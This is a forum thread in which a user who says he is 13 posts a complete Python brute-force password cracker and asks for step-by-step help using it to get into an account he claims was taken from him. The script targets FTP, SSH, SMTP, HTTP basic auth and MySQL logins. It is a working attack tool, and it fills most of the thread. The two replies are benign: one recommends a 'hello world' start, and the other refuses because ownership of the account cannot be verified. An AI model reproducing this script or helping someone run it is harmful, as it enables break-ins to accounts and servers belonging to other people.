#1
  1. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    May 2013
    Posts
    1
    Rep Power
    0

    Experienced Python Users Please Help.


    I've Installed Python 64-Bit a few hours ago I am trying to learn how to use Python Coding it Is Extremely hard for me and im getting confused allot im not to good at computers im 13 and i need help getting my account back that someone has hacked that has no security on it so i am relying on a automatic coded password guesser (Brute Force) and im wondering if someone could give me a step by step tutorial to use this code here I also don't no to much about which python program to use the command line or the GUI Website found on: evilzone(DOT)org/security-tools/(python)-automated-password-guesser/

    Code=
    Code:
    #!/usr/bin/env python uninstalled = [] try: import ftplib except ImportError: uninstalled.append("ftp") print "ftplib not installed, cannot crack ftp" try: import paramiko except ImportError: uninstalled.append("ssh") print "paramiko not installed, cannot crack ssh" try: import smtplib except ImportError: uninstalled.append("smtp") print "smtplib not installed, cannot crack smtp-auth" try: import MySQLdb except ImportError: uninstalled.append("mysql") print "MySQLdb not installed, cannot crack mysql" import sys, urllib2, random # safe to assume these are installed if len(sys.argv) != 5: print "Usage: ./theblackgoose.py target service /path/to/username/file /path/to/password/file" sys.exit() elif sys.argv[2] in uninstalled: print "Required libraries not installed" sys.exit() try: usernames = open(sys.argv[3], "r").readlines() except: print "Could not open username file!" sys.exit() try: passwords = open(sys.argv[4], "r").readlines() except: print "Could not open password file!" sys.exit() index = 0 while index < len(usernames): usernames[index] = usernames[index].replace("\n", "") index += 1 index = 0 while index < len(passwords): passwords[index] = passwords[index].replace("\n", "") index += 1 random.shuffle(usernames); random.shuffle(passwords) quit = raw_input("Exit on first successful login? ") def ftpcrack(target, userlist, passlist): print "Attacking target..." for user in userlist: for passwd in passlist: try: ftp = ftplib.FTP(target) except: print "Connection refused" sys.exit() try: ftp.login(user, passwd) print "Login success! Username:", user, "password:", passwd if quit: sys.exit() except: pass def sshcrack(target, userlist, passlist): print "Attacking target..." for user in userlist: for passwd in passlist: try: ssh = paramiko.SSHClient() ssh.connect(target, username=user, password=passwd) print "Login success! Username:", user, "password:", passwd if quit: sys.exit() except: pass def smtpcrack(target, userlist, passlist): print "Attacking target..." for user in userlist: for passwd in passlist: try: server = smtplib.SMTP(target) except: print "Connection refused" sys.exit() try: server.starttls() # might be better if we use TLS encryption except: pass # but the server might not support it try: server.login(user, passwd) print "Login success! Username:", user, "password:", passwd if quit: sys.exit() except: pass def htcrack(url, userlist, passlist): print "Attacking target..." passmanager = urllib2.HTTPPasswordMgrWithDefaultRealm() for user in userlist: for passwd in passlist: passmanager.add_password(None, url, user, passwd) authhandler = urllib2.HTTPBasicAuthHandler(passmanager) opener = urllib2.build_opener(authhandler) urllib2.install_opener(opener) try: urllib2.urlopen(url) print "Login found! Username:", user, "password:", passwd if quit: sys.exit() except: pass def mysqlcrack(target, userlist, passlist): print "Attacking target..." for user in userlist: for passwd in passlist: try: data = MySQLdb.connect(host=target, port=3306, user=user, passwd=passwd) print "Login success! Username:", user, "password:", passwd if quit: sys.exit() except: pass if sys.argv[2] == "ftp": ftpcrack(sys.argv[1], usernames, passwords) elif sys.argv[2] == "ssh": sshcrack(sys.argv[1], usernames, passwords) elif sys.argv[2] == "smtp": smtpcrack(sys.argv[1], usernames, passwords) elif sys.argv[2] == "htaccess": htcrack(sys.argv[1], usernames, passwords) elif sys.argv[2] == "mysql": mysqlcrack(sys.argv[1], usernames, passwords)
  2. #2
  3. Contributing User
    Devshed Demi-God (4500 - 4999 posts)

    Join Date
    Aug 2011
    Posts
    4,928
    Rep Power
    481
    With any new computer language, writing the "hello world" program is useful. You'll learn to compile or, in the python case, run the interpreter.

    And you'll learn a little bit about your operating system.

    Meanwhile, posting a 3500 character program all on a single line isn't usually a good way to make friends and positively influence people.
    [code]Code tags[/code] are essential for python code and Makefiles!
  4. #3
  5. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Jul 2008
    Posts
    29
    Rep Power
    0
    Meanwhile, posting a 3500 character program all on a single line isn't usually a good way to make friends and positively influence people.
    On the other hand, he is only 13 and so you have to allow some lee-way. :-) I agree with your suggestion for a hello world program and go from there.

    The problem for me with your request kingsneaky is that we only have your word that this 'hacked' account is your account. If it was my account you were trying to hack into for example, then I would not want to give you help to get in. See what I mean? You may not like what I say, but it is still the way I see it.
    If you have other projects, you might get help though.

IMN logo majestic logo threadwatch logo seochat tools logo